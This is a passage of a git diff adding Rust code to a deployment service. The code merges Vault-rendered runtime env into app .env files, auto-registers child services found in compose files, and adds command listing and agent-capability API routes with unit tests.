runtime env" + ); + let merged_into_bundle = merge_rendered_env_into_app_env_files( + &mut config_files, + params + .get("compose_content") + .and_then(|value| value.as_str()), + &app_code, + &env_config.content, + ); + if merged_into_bundle > 0 { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + merged_file_count = merged_into_bundle, + "Merged rendered runtime env into deploy_app config bundle env files" + ); + } + + let env_file = json!({ + "content": env_config.content, + "content_type": env_config.content_type, + "destination_path": env_config.destination_path, + "file_mode": env_config.file_mode, + "owner": env_config.owner, + "group": env_config.group, + "force_overwrite": force_config_overwrite, + "drift_check": { + "enabled": true, + "hash_source": "stacker-render-header" + }, + }); + config_files.push(env_file); + } else { + match vault.fetch_app_config(deployment_hash, &env_key).await { + Ok(env_config) => { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + destination = %env_config.destination_path, + "Found .env file in Vault" + ); + // Convert AppConfig to the format expected by status panel + let env_file = json!({ + "content": env_config.content, + "content_type": env_config.content_type, + "destination_path": env_config.destination_path, + "file_mode": env_config.file_mode, + "owner": env_config.owner, + "group": env_config.group, + "force_overwrite": force_config_overwrite, + "drift_check": { + "enabled": true, + "hash_source": "stacker-render-header" + }, + }); + config_files.push(env_file); + } + Err(e) => { + tracing::debug!( + deployment_hash = %deployment_hash, + env_key = %env_key, + error = %e, + "No .env file found in Vault (this is normal for apps without environment config)" + ); + } + } + } + + // Insert config_files into params if we found any + if !config_files.is_empty() { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + config_count = config_files.len(), + "Enriched deploy_app command with config_files from Vault" + ); + if let Some(obj) = params.as_object_mut() { + obj.insert("config_files".to_string(), json!(config_files)); + } + } + + Ok(Some(params)) +} + +fn merge_rendered_env_into_app_env_files( + config_files: &mut [serde_json::Value], + compose_content: Option<&str>, + app_code: &str, + rendered_env_content: &str, +) -> usize { + let compose_env_paths = compose_content + .map(|content| compose_env_file_destinations_for_app(content, app_code)) + .unwrap_or_default(); + let mut merged = 0; + + for config_file in config_files { + let Some(destination_path) = config_file + .get("destination_path") + .and_then(|value| value.as_str()) + .map(ToOwned::to_owned) + else { + continue; + }; + + if !is_app_env_config_file(&destination_path, app_code, &compose_env_paths) { + continue; + } + + let existing_content = config_file + .get("content") + .and_then(|value| value.as_str()) + .unwrap_or_default(); + let merged_content = reconcile_env_file_content(existing_content, rendered_env_content); + + if let Some(obj) = config_file.as_object_mut() { + obj.insert("content".to_string(), json!(merged_content)); + obj.insert("content_type".to_string(), json!("text/plain")); + obj.entry("file_mode".to_string()).or_insert(json!("0600")); + obj.entry("owner".to_string()).or_insert(json!("trydirect")); + obj.entry("group".to_string()).or_insert(json!("docker")); + } + merged += 1; + } + + merged +} + +fn is_app_env_config_file( + destination_path: &str, + app_code: &str, + compose_env_paths: &HashSet, +) -> bool { + if !destination_path.ends_with(".env") { + return false; + } + + if compose_env_paths.contains(destination_path) { + return true; + } + + destination_path.contains(&format!("/{app_code}/docker/")) +} + +fn compose_env_file_destinations_for_app(compose_content: &str, app_code: &str) -> HashSet { + let Ok(doc) = serde_yaml::from_str::(compose_content) else { + return HashSet::new(); + }; + let Some(env_file_value) = doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + .and_then(|services| services.get(serde_yaml::Value::String(app_code.to_string()))) + .and_then(serde_yaml::Value::as_mapping) + .and_then(|service| service.get(serde_yaml::Value::String("env_file".to_string()))) + else { + return HashSet::new(); + }; + + let mut paths = HashSet::new(); + collect_env_file_destinations(env_file_value, &mut paths); + paths +} + +fn collect_env_file_destinations(value: &serde_yaml::Value, paths: &mut HashSet) { + match value { + serde_yaml::Value::String(path) => { + paths.insert(path.clone()); + } + serde_yaml::Value::Sequence(values) => { + for value in values { + collect_env_file_destinations(value, paths); + } + } + serde_yaml::Value::Mapping(map) => { + if let Some(path) = map + .get(serde_yaml::Value::String("path".to_string())) + .and_then(serde_yaml::Value::as_str) + { + paths.insert(path.to_string()); + } + } + _ => {} + } +} + +async fn render_project_env_for_deploy_app( + pg_pool: &PgPool, + project_id: Option, + deployment_hash: &str, + app_code: &str, + vault_settings: &crate::configuration::VaultSettings, +) -> Result, String> { + let Some(project_id) = project_id else { + return Ok(None); + }; + let project = match db::project::fetch(pg_pool, project_id).await { + Ok(Some(project)) => project, + Ok(None) => { + tracing::warn!( + project_id, + app_code, + "Cannot render deploy_app env because project was not found" + ); + return Ok(None); + } + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app env because project fetch failed" + ); + return Err(format!( + "failed to fetch project for deploy_app env render: {error}" + )); + } + }; + + let app = match db::project_app::fetch_by_project_and_code(pg_pool, project_id, app_code).await + { + Ok(Some(app)) if app.is_enabled() => app, + Ok(Some(_)) | Ok(None) => { + tracing::warn!( + project_id, + app_code, + "Cannot render deploy_app env because enabled app was not found" + ); + return Ok(None); + } + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app env because app fetch failed" + ); + return Err(format!( + "failed to fetch deploy_app target '{app_code}' for env render: {error}" + )); + } + }; + + let vault = match VaultService::from_settings(vault_settings) { + Ok(vault) => vault, + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app env because Vault initialization failed" + ); + return Err(format!( + "failed to initialize Vault for deploy_app env render: {error}" + )); + } + }; + let renderer = match ConfigRenderer::with_vault(vault) { + Ok(renderer) => renderer, + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app env because ConfigRenderer initialization failed" + ); + return Err(format!( + "failed to initialize config renderer for deploy_app env render: {error}" + )); + } + }; + + match renderer + .render_app_env_config(pg_pool, &app, &project, deployment_hash) + .await + { + Ok(config) => Ok(Some(config)), + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app env" + ); + Err(deploy_app_env_render_error(app_code, &error)) + } + } +} + +fn deploy_app_env_render_error( + app_code: &str, + error: &(dyn std::fmt::Display + Send + Sync), +) -> String { + format!("failed to render deploy_app runtime env for target '{app_code}': {error}") +} + +async fn render_project_compose_for_deploy_app( + pg_pool: &PgPool, + project_id: Option, + deployment_hash: &str, + app_code: &str, +) -> Option { + let project_id = project_id?; + let project = match db::project::fetch(pg_pool, project_id).await { + Ok(Some(project)) => project, + Ok(None) => { + tracing::warn!( + project_id, + app_code, + "Cannot render deploy_app compose because project was not found" + ); + return None; + } + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app compose because project fetch failed" + ); + return None; + } + }; + + let service = match ProjectAppService::new(Arc::new(pg_pool.clone())) { + Ok(service) => service, + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app compose because ProjectAppService init failed" + ); + return None; + } + }; + + let apps = match service.list_by_project(project_id).await { + Ok(apps) => apps, + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app compose because project apps could not be loaded" + ); + return None; + } + }; + + if !apps + .iter() + .any(|app| app.code == app_code && app.is_enabled()) + { + tracing::warn!( + project_id, + app_code, + "Cannot render deploy_app compose because enabled app was not found" + ); + return None; + } + + match service + .preview_bundle(&project, &apps, deployment_hash) + .await + { + Ok(bundle) => Some(bundle.compose_content), + Err(error) => { + tracing::warn!( + project_id, + app_code, + error = %error, + "Cannot render deploy_app compose preview" + ); + None + } + } +} + +/// Discover child services from a multi-service compose file and register them as project_apps. +/// This is called after deploy_app enrichment to auto-create entries for stacks like Komodo +/// that have multiple services (core, ferretdb, periphery). +/// +/// Returns the number of child services discovered and registered. +pub async fn discover_and_register_child_services( + pg_pool: &PgPool, + project_id: i32, + parent_app_code: &str, + compose_content: &str, + deployment_hash: &str, +) -> usize { + // Resolve actual deployment ID from hash for scoping apps per deployment + let actual_deployment_id = + match crate::db::deployment::fetch_by_deployment_hash(pg_pool, deployment_hash).await { + Ok(Some(dep)) => Some(dep.id), + _ => None, + }; + + // Parse the compose file to extract services + let services = match parse_compose_services(compose_content) { + Ok(svcs) => svcs, + Err(e) => { + tracing::debug!( + parent_app = %parent_app_code, + error = %e, + "Failed to parse compose for service discovery (may be single-service)" + ); + return 0; + } + }; + + // If only 1 service, no child discovery needed + if services.len() <= 1 { + tracing::debug!( + parent_app = %parent_app_code, + services_count = services.len(), + "Single service compose, no child discovery needed" + ); + return 0; + } + + tracing::info!( + parent_app = %parent_app_code, + services_count = services.len(), + services = ?services.iter().map(|s| &s.name).collect::>(), + "Multi-service compose detected, auto-discovering child services" + ); + + let mut registered_count = 0; + + for svc in &services { + if is_platform_managed_compose_service(&svc.name, svc.image.as_deref()) { + tracing::debug!( + parent_app = %parent_app_code, + service = %svc.name, + image = ?svc.image, + "Skipping platform-managed compose service" + ); + continue; + } + + // Generate unique code: parent_code-service_name + let app_code = format!("{}-{}", parent_app_code, svc.name); + + // Check if already exists + match db::project_app::fetch_by_project_and_code(pg_pool, project_id, &app_code).await { + Ok(Some(_)) => { + tracing::debug!( + app_code = %app_code, + "Child service already registered, skipping" + ); + continue; + } + Ok(None) => {} + Err(e) => { + tracing::warn!( + app_code = %app_code, + error = %e, + "Failed to check if child service exists" + ); + continue; + } + } + + tracing::debug!( + app_code = %app_code, + service = %svc.name, + project_id = %project_id, + "Processing child service for registration" + ); + // Create new project_app for this service + let mut new_app = crate::models::ProjectApp::new( + project_id, + app_code.clone(), + svc.name.clone(), + svc.image.clone().unwrap_or_else(|| "unknown".to_string()), + ); + + // Set parent reference + new_app.parent_app_code = Some(parent_app_code.to_string()); + + // Scope to this specific deployment + new_app.deployment_id = actual_deployment_id; + + // Convert environment to JSON object + if !svc.environment.is_empty() { + let mut env_map = serde_json::Map::new(); + for env_str in &svc.environment { + if let Some((k, v)) = env_str.split_once('=') { + env_map.insert(k.to_string(), json!(v)); + } + } + new_app.environment = Some(json!(env_map)); + } + + // Convert ports to JSON array + if !svc.ports.is_empty() { + new_app.ports = Some(json!(svc.ports)); + } + + // Convert volumes to JSON array + if !svc.volumes.is_empty() { + new_app.volumes = Some(json!(svc.volumes)); + } + + // Set networks + if !svc.networks.is_empty() { + new_app.networks = Some(json!(svc.networks)); + } + + // Set depends_on + if !svc.depends_on.is_empty() { + new_app.depends_on = Some(json!(svc.depends_on)); + } + + // Set command and entrypoint + new_app.command = svc.command.clone(); + new_app.entrypoint = svc.entrypoint.clone(); + new_app.restart_policy = svc.restart.clone(); + new_app.healthcheck = svc.healthcheck.clone(); + + // Convert labels to JSON + if !svc.labels.is_empty() { + let labels_map: serde_json::Map = svc + .labels + .iter() + .map(|(k, v)| (k.clone(), json!(v))) + .collect(); + new_app.labels = Some(json!(labels_map)); + } + + // Insert into database + match db::project_app::insert(pg_pool, &new_app).await { + Ok(created) => { + tracing::info!( + app_code = %app_code, + id = created.id, + service = %svc.name, + image = ?svc.image, + "Auto-registered child service from compose" + ); + registered_count += 1; + } + Err(e) => { + tracing::warn!( + app_code = %app_code, + service = %svc.name, + error = %e, + "Failed to register child service" + ); + } + } + } + + if registered_count > 0 { + tracing::info!( + parent_app = %parent_app_code, + registered_count = registered_count, + "Successfully auto-registered child services" + ); + } + + registered_count +} + +fn is_platform_managed_compose_service(service_name: &str, image: Option<&str>) -> bool { + let mut candidates = vec![normalize_app_code(service_name)]; + + if let Some(image) = image { + if let Some(image_name) = image.split('/').last() { + if let Some(name_without_tag) = image_name.split(':').next() { + candidates.push(normalize_app_code(name_without_tag)); + } + } + } + + candidates + .iter() + .any(|candidate| is_platform_managed_app_code(candidate)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn platform_managed_compose_service_matches_nginx_proxy_manager_name_or_image() { + assert!(is_platform_managed_compose_service( + "nginx_proxy_manager", + None + )); + assert!(is_platform_managed_compose_service( + "proxy", + Some("jc21/nginx-proxy-manager:latest") + )); + } + + #[test] + fn platform_managed_compose_service_allows_regular_service() { + assert!(!is_platform_managed_compose_service( + "postgres", + Some("postgres:16-alpine") + )); + } + + #[test] + fn extract_registry_auth_from_params_reads_command_payload() { + let params = Some(serde_json::json!({ + "app_code": "upload", + "registry_auth": { + "registry": "docker.io", + "username": "optimum", + "password": "secret" + } + })); + + let auth = extract_registry_auth_from_params(¶ms).expect("registry auth"); + + assert_eq!(auth.registry, "docker.io"); + assert_eq!(auth.username, "optimum"); + assert_eq!(auth.password, "secret"); + } + + #[test] + fn extract_registry_auth_from_params_ignores_missing_payload() { + assert!(extract_registry_auth_from_params(&Some(serde_json::json!({ + "app_code": "upload" + }))) + .is_none()); + } + + #[test] + fn merge_rendered_env_updates_app_local_compose_env_file() { + let compose_content = r#" +services: + device-api: + image: syncopia/device-api:prod + env_file: + - /opt/stacker/deployments/prod/files/device-api/docker/prod/.env + upload: + image: syncopia/upload:prod + env_file: + - /opt/stacker/deployments/prod/files/upload/docker/prod/.env +"#; + let mut config_files = vec![ + json!({ + "content": "# Auto-created empty env file\n", + "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env" + }), + json!({ + "content": "UPLOAD_ONLY=true\n", + "destination_path": "/opt/stacker/deployments/prod/files/upload/docker/prod/.env" + }), + ]; + + let merged = merge_rendered_env_into_app_env_files( + &mut config_files, + Some(compose_content), + "device-api", + "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_SECRET_KEY=supersecret\n", + ); + + assert_eq!(merged, 1); + let device_env = config_files[0] + .get("content") + .and_then(|value| value.as_str()) + .expect("device env content"); + assert!(device_env.contains("# Auto-created empty env file")); + assert!(device_env.contains("S3_SECRET_KEY=supersecret")); + let upload_env = config_files[1] + .get("content") + .and_then(|value| value.as_str()) + .expect("upload env content"); + assert!(!upload_env.contains("S3_SECRET_KEY")); + } + + #[test] + fn merge_rendered_env_preserves_local_env_and_appends_rendered_block_once() { + let mut config_files = vec![json!({ + "content": "RUST_LOG=debug\n", + "content_type": "text/plain", + "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env", + "file_mode": "0644" + })]; + + let merged = merge_rendered_env_into_app_env_files( + &mut config_files, + Some( + r#" +services: + device-api: + env_file: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env +"#, + ), + "device-api", + "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n", + ); + + assert_eq!(merged, 1); + let env_content = config_files[0]["content"].as_str().expect("content"); + assert_eq!( + env_content, + "RUST_LOG=debug\n\n# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n" + ); + assert_eq!(config_files[0]["content_type"], "text/plain"); + assert_eq!(config_files[0]["file_mode"], "0644"); + } + + #[test] + fn merge_rendered_env_replaces_previous_rendered_block() { + let mut config_files = vec![json!({ + "content": "RUST_LOG=debug\n\n# stacker-render version=1 hash=old generated_at=now inputs=service\nOLD_SECRET=outdated\n", + "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env" + })]; + + let merged = merge_rendered_env_into_app_env_files( + &mut config_files, + Some( + r#" +services: + device-api: + env_file: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env +"#, + ), + "device-api", + "# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n", + ); + + assert_eq!(merged, 1); + let env_content = config_files[0]["content"].as_str().expect("content"); + assert_eq!( + env_content, + "RUST_LOG=debug\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n" + ); + assert!(!env_content.contains("OLD_SECRET=outdated")); + } + + #[test] + fn merge_rendered_env_removes_authored_key_overridden_by_rendered_block() { + let mut config_files = vec![json!({ + "content": "RUST_LOG=debug\nS3_BUCKET=local\n", + "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env" + })]; + + let merged = merge_rendered_env_into_app_env_files( + &mut config_files, + Some( + r#" +services: + device-api: + env_file: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env +"#, + ), + "device-api", + "# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n", + ); + + assert_eq!(merged, 1); + let env_content = config_files[0]["content"].as_str().expect("content"); + assert_eq!( + env_content, + "RUST_LOG=debug\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n" + ); + assert!(!env_content.contains("S3_BUCKET=local")); + } + + #[test] + fn merge_rendered_env_matches_app_local_env_by_destination_when_compose_uses_relative_env_file() + { + let mut config_files = vec![ + json!({ + "content": "RUST_LOG=debug\n", + "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/.env" + }), + json!({ + "content": "SHARED=true\n", + "destination_path": "/opt/stacker/deployments/prod/files/shared/docker/prod/.env" + }), + ]; + + let merged = merge_rendered_env_into_app_env_files( + &mut config_files, + Some( + r#" +services: + device-api: + env_file: .env +"#, + ), + "device-api", + "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n", + ); + + assert_eq!(merged, 1); + assert!(config_files[0]["content"] + .as_str() + .expect("device content") + .contains("S3_BUCKET=superbucket")); + assert!(!config_files[1]["content"] + .as_str() + .expect("shared content") + .contains("S3_BUCKET=superbucket")); + } + + #[test] + fn merge_rendered_env_does_not_touch_non_env_config_files() { + let mut config_files = vec![json!({ + "content": "port = 5050\n", + "destination_path": "/opt/stacker/deployments/prod/files/device-api/docker/prod/default.toml" + })]; + + let merged = merge_rendered_env_into_app_env_files( + &mut config_files, + Some("services:\n device-api:\n env_file: .env\n"), + "device-api", + "# stacker-render version=1 hash=abc generated_at=now inputs=service\nS3_BUCKET=superbucket\n", + ); + + assert_eq!(merged, 0); + assert_eq!(config_files[0]["content"], "port = 5050\n"); + } + + #[tokio::test] + async fn render_project_env_without_project_id_skips_without_error() { + let pg_pool = sqlx::postgres::PgPoolOptions::new() + .connect_lazy("postgres://postgres:postgres@localhost/stacker_test") + .expect("lazy pool"); + let vault_settings = crate::configuration::VaultSettings::default(); + + let rendered = render_project_env_for_deploy_app( + &pg_pool, + None, + "deployment_test", + "device-api", + &vault_settings, + ) + .await + .expect("missing project id should be non-fatal"); + + assert!(rendered.is_none()); + } + + #[test] + fn deploy_app_env_render_error_names_target_without_secret_values() { + let error = deploy_app_env_render_error( + "device-api", + &std::io::Error::new(std::io::ErrorKind::PermissionDenied, "vault denied access"), + ); + + assert_eq!( + error, + "failed to render deploy_app runtime env for target 'device-api': vault denied access" + ); + assert!(!error.contains("S3_BUCKET=superbucket")); + } + + #[test] + fn compose_env_file_destinations_supports_compose_mapping_syntax() { + let compose_content = r#" +services: + device-api: + env_file: + - path: /opt/stacker/deployments/prod/files/device-api/docker/prod/.env + required: false +"#; + + let destinations = compose_env_file_destinations_for_app(compose_content, "device-api"); + + assert!(destinations + .contains("/opt/stacker/deployments/prod/files/device-api/docker/prod/.env")); + } +} diff --git a/stacker/stacker/src/routes/command/get.rs b/stacker/stacker/src/routes/command/get.rs new file mode 100644 index 0000000..041b774 --- /dev/null +++ b/stacker/stacker/src/routes/command/get.rs @@ -0,0 +1,66 @@ +use crate::configuration::Settings; +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use crate::routes::legacy_installations::resolve_owned_deployment_by_hash; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Get command by ID", skip_all)] +#[get("/{deployment_hash}/{command_id}")] +pub async fn get_handler( + user: web::ReqData>, + path: web::Path<(String, String)>, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let (deployment_hash, command_id) = path.into_inner(); + + resolve_owned_deployment_by_hash( + pg_pool.get_ref(), + settings.get_ref(), + user.as_ref(), + &deployment_hash, + ) + .await?; + + // Fetch command by its string command_id (e.g. "cmd_"), not the row UUID + let command = db::command::fetch_by_command_id(pg_pool.get_ref(), &command_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command: {}", err); + JsonResponse::internal_server_error(err) + })?; + + match command { + Some(cmd) => { + // Verify deployment_hash matches (authorization check) + if cmd.deployment_hash != deployment_hash { + tracing::warn!( + "Deployment hash mismatch: expected {}, got {}", + deployment_hash, + cmd.deployment_hash + ); + return Err(JsonResponse::not_found( + "Command not found for this deployment", + )); + } + + tracing::info!( + "Fetched command {} for deployment {} by user {}", + command_id, + deployment_hash, + user.id + ); + + Ok(JsonResponse::build() + .set_item(Some(cmd)) + .ok("Command fetched successfully")) + } + None => { + tracing::warn!("Command not found: {}", command_id); + Err(JsonResponse::not_found("Command not found")) + } + } +} diff --git a/stacker/stacker/src/routes/command/list.rs b/stacker/stacker/src/routes/command/list.rs new file mode 100644 index 0000000..08c0f9e --- /dev/null +++ b/stacker/stacker/src/routes/command/list.rs @@ -0,0 +1,95 @@ +use crate::configuration::Settings; +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use crate::routes::legacy_installations::resolve_owned_deployment_by_hash; +use actix_web::{get, web, Responder, Result}; +use chrono::{DateTime, Utc}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; +use tokio::time::{sleep, Duration, Instant}; + +#[derive(Debug, Deserialize)] +pub struct CommandListQuery { + pub since: Option, + pub limit: Option, + pub wait_ms: Option, + #[serde(default)] + pub include_results: bool, +} + +#[tracing::instrument(name = "List commands for deployment", skip_all)] +#[get("/{deployment_hash}")] +pub async fn list_handler( + user: web::ReqData>, + path: web::Path, + query: web::Query, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let deployment_hash = path.into_inner(); + let limit = query.limit.unwrap_or(50).max(1).min(500); + + resolve_owned_deployment_by_hash( + pg_pool.get_ref(), + settings.get_ref(), + user.as_ref(), + &deployment_hash, + ) + .await?; + + let commands = if let Some(since_raw) = &query.since { + let since = DateTime::parse_from_rfc3339(since_raw) + .map_err(|_err| JsonResponse::bad_request("Invalid since timestamp"))? + .with_timezone(&Utc); + + let wait_ms = query.wait_ms.unwrap_or(0).min(30_000); + let deadline = Instant::now() + Duration::from_millis(wait_ms); + + loop { + let updates = db::command::fetch_updates_by_deployment( + pg_pool.get_ref(), + &deployment_hash, + since, + limit, + ) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command updates: {}", err); + JsonResponse::internal_server_error(err) + })?; + + if !updates.is_empty() || wait_ms == 0 || Instant::now() >= deadline { + break updates; + } + + sleep(Duration::from_millis(500)).await; + } + } else { + // Default behavior: fetch recent commands with limit + // include_results defaults to false for performance, but can be enabled by client + db::command::fetch_recent_by_deployment( + pg_pool.get_ref(), + &deployment_hash, + limit, + !query.include_results, + ) + .await + .map_err(|err| { + tracing::error!("Failed to fetch commands: {}", err); + JsonResponse::internal_server_error(err) + })? + }; + + tracing::info!( + "Fetched {} commands for deployment {} by user {}", + commands.len(), + deployment_hash, + user.id + ); + + Ok(JsonResponse::build() + .set_list(commands) + .ok("Commands fetched successfully")) +} diff --git a/stacker/stacker/src/routes/command/mod.rs b/stacker/stacker/src/routes/command/mod.rs new file mode 100644 index 0000000..cbd6be1 --- /dev/null +++ b/stacker/stacker/src/routes/command/mod.rs @@ -0,0 +1,9 @@ +mod cancel; +mod create; +mod get; +mod list; + +pub use cancel::*; +pub use create::*; +pub use get::*; +pub use list::*; diff --git a/stacker/stacker/src/routes/deployment/capabilities.rs b/stacker/stacker/src/routes/deployment/capabilities.rs new file mode 100644 index 0000000..db6ff36 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/capabilities.rs @@ -0,0 +1,342 @@ +use std::collections::HashSet; + +use actix_web::{get, web, Responder, Result}; +use chrono::{DateTime, Utc}; +use serde::Serialize; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::{ + db, + helpers::{ + extract_capabilities, has_capability, has_capability_value, JsonResponse, + NPM_CREDENTIAL_SOURCE_KEY, + }, + models::Agent, +}; + +#[derive(Debug, Clone, Serialize, Default)] +pub struct CapabilityCommand { + pub command_type: String, + pub label: String, + pub icon: String, + pub scope: String, + pub requires: String, +} + +#[derive(Debug, Clone, Serialize, Default)] +pub struct CapabilityFeatures { + pub kata_runtime: bool, + pub compose: bool, + pub backup: bool, + pub pipes: bool, + pub proxy_credentials_vault: bool, +} + +#[derive(Debug, Clone, Serialize, Default)] +pub struct CapabilitiesResponse { + pub deployment_hash: String, + pub agent_id: Option, + pub status: String, + pub last_heartbeat: Option>, + pub version: Option, + pub system_info: Option, + pub capabilities: Vec, + pub commands: Vec, + pub features: CapabilityFeatures, +} + +async fn can_view_capabilities( + pool: &PgPool, + user: &crate::models::User, + deployment_hash: &str, +) -> Result { + if user.role == "agent" { + return Ok(user.id == deployment_hash); + } + + let deployment = db::deployment::fetch_by_deployment_hash(pool, deployment_hash) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let Some(deployment) = deployment else { + return Ok(false); + }; + + if deployment.user_id.as_deref() == Some(&user.id) { + return Ok(true); + } + + Ok( + db::project_member::fetch(pool, deployment.project_id, &user.id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + .is_some(), + ) +} + +struct CommandMetadata { + command_type: &'static str, + requires: &'static str, + scope: &'static str, + label: &'static str, + icon: &'static str, +} + +const COMMAND_CATALOG: &[CommandMetadata] = &[ + CommandMetadata { + command_type: "restart", + requires: "docker", + scope: "container", + label: "Restart", + icon: "fas fa-redo", + }, + CommandMetadata { + command_type: "start", + requires: "docker", + scope: "container", + label: "Start", + icon: "fas fa-play", + }, + CommandMetadata { + command_type: "stop", + requires: "docker", + scope: "container", + label: "Stop", + icon: "fas fa-stop", + }, + CommandMetadata { + command_type: "pause", + requires: "docker", + scope: "container", + label: "Pause", + icon: "fas fa-pause", + }, + CommandMetadata { + command_type: "logs", + requires: "logs", + scope: "container", + label: "Logs", + icon: "fas fa-file-alt", + }, + CommandMetadata { + command_type: "rebuild", + requires: "compose", + scope: "deployment", + label: "Rebuild Stack", + icon: "fas fa-sync", + }, + CommandMetadata { + command_type: "backup", + requires: "backup", + scope: "deployment", + label: "Backup", + icon: "fas fa-download", + }, + CommandMetadata { + command_type: "activate_pipe", + requires: "pipes", + scope: "deployment", + label: "Activate Pipe", + icon: "fas fa-play-circle", + }, + CommandMetadata { + command_type: "deactivate_pipe", + requires: "pipes", + scope: "deployment", + label: "Deactivate Pipe", + icon: "fas fa-stop-circle", + }, + CommandMetadata { + command_type: "trigger_pipe", + requires: "pipes", + scope: "deployment", + label: "Trigger Pipe", + icon: "fas fa-bolt", + }, +]; + +#[tracing::instrument(name = "Get agent capabilities", skip_all)] +#[get("/{deployment_hash}/capabilities")] +pub async fn capabilities_handler( + path: web::Path, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let deployment_hash = path.into_inner(); + + if !can_view_capabilities(pg_pool.get_ref(), user.as_ref(), &deployment_hash).await? { + return Err(JsonResponse::::build().not_found("Deployment not found")); + } + + let agent = db::agent::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let payload = build_capabilities_payload(deployment_hash, agent); + + Ok(JsonResponse::build() + .set_item(payload) + .ok("Capabilities fetched successfully")) +} + +fn build_capabilities_payload( + deployment_hash: String, + agent: Option, +) -> CapabilitiesResponse { + match agent { + Some(agent) => { + let capabilities = extract_capabilities(agent.capabilities.clone()); + let commands = filter_commands(&capabilities); + let features = CapabilityFeatures { + kata_runtime: has_capability(&capabilities, "kata"), + compose: has_capability(&capabilities, "compose"), + backup: has_capability(&capabilities, "backup"), + pipes: has_capability(&capabilities, "pipes"), + proxy_credentials_vault: has_capability_value( + &capabilities, + NPM_CREDENTIAL_SOURCE_KEY, + "vault", + ), + }; + + CapabilitiesResponse { + deployment_hash, + agent_id: Some(agent.id.to_string()), + status: agent.status, + last_heartbeat: agent.last_heartbeat, + version: agent.version, + system_info: agent.system_info, + capabilities, + commands, + features, + } + } + None => CapabilitiesResponse { + deployment_hash, + status: "offline".to_string(), + ..Default::default() + }, + } +} + +fn filter_commands(capabilities: &[String]) -> Vec { + if capabilities.is_empty() { + return Vec::new(); + } + + let capability_set: HashSet<&str> = capabilities.iter().map(|c| c.as_str()).collect(); + + COMMAND_CATALOG + .iter() + .filter(|meta| capability_set.contains(meta.requires)) + .map(|meta| CapabilityCommand { + command_type: meta.command_type.to_string(), + label: meta.label.to_string(), + icon: meta.icon.to_string(), + scope: meta.scope.to_string(), + requires: meta.requires.to_string(), + }) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn filters_commands_by_capabilities() { + let capabilities = vec![ + "docker".to_string(), + "logs".to_string(), + "irrelevant".to_string(), + ]; + + let commands = filter_commands(&capabilities); + let command_types: HashSet<&str> = + commands.iter().map(|c| c.command_type.as_str()).collect(); + + assert!(command_types.contains("restart")); + assert!(command_types.contains("logs")); + assert!(!command_types.contains("backup")); + } + + #[test] + fn build_payload_handles_missing_agent() { + let payload = build_capabilities_payload("hash".to_string(), None); + assert_eq!(payload.status, "offline"); + assert!(payload.commands.is_empty()); + } + + #[test] + fn build_payload_includes_agent_data() { + let mut agent = Agent::new("hash".to_string()); + agent.status = "online".to_string(); + agent.capabilities = Some(serde_json::json!(["docker", "logs"])); + + let payload = build_capabilities_payload("hash".to_string(), Some(agent)); + assert_eq!(payload.status, "online"); + assert_eq!(payload.commands.len(), 5); // docker (4) + logs (1) + } + + #[test] + fn capabilities_features_include_kata() { + let mut agent = Agent::new("hash".to_string()); + agent.capabilities = Some(serde_json::json!(["docker", "kata"])); + + let payload = build_capabilities_payload("hash".to_string(), Some(agent)); + assert!(payload.features.kata_runtime); + assert!(!payload.features.compose); + assert!(!payload.features.backup); + assert!(!payload.features.pipes); + assert!(!payload.features.proxy_credentials_vault); + } + + #[test] + fn capabilities_features_default_no_kata() { + let mut agent = Agent::new("hash".to_string()); + 